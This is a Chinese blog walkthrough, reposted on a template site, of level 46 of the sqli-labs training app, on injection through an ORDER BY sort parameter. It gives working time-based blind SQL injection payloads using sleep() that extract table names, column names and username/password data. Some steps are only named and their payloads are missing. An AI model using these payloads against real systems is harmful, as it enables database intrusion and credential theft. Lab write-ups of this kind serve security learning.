在MySQL支持使用ORDER BY语句对查询结果集进行排序处理,使用ORDER BY语句不仅支持对单列数据的排序,还支持对数据表中多列数据的排序。语法格式如下
select * from 表名 order by 列名(或者数字) asc;升序(默认升序)
select * from 表名 order by 列名(或者数字) desc;降序
打开第46关,发现提示
提示我们Please input parameter as SORT with numeric value(用数字形式输入[sort]排序参数)
这里可以进行尝试一下,按照提示,发现确实是这样
select * from 表名 order by 列名(或者数字) asc;升序(默认升序)
select * from 表名 order by 列名(或者数字) desc;降序;(同样道理)
?sort=rand(true)
?sort=rand(false)
说明存在注入点且可以使用报错注入
接下来可以进行判断字段数
输入3回显正常,但是4就报错,说明有三个字段
然后暴库
也可以采用时间盲注
结果是一样的
表名:
也可以时间注入:
?sort=1 and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',sleep(5),0)
字段:
时间注入:文章来源地址https://www.toymoban.com/news/detail-835634.html
?sort=1 and if(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='u',sleep(5),0)
数据:
文章来源:https://www.toymoban.com/news/detail-835634.html
时间注入:
?sort=1 and if(substr((select group_concat(username,password) from security.users limit 0,1),1,1)='d',sleep(5),0)
到了这里,关于通过盲注脚本复习sqllabs第46关order by 注入的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!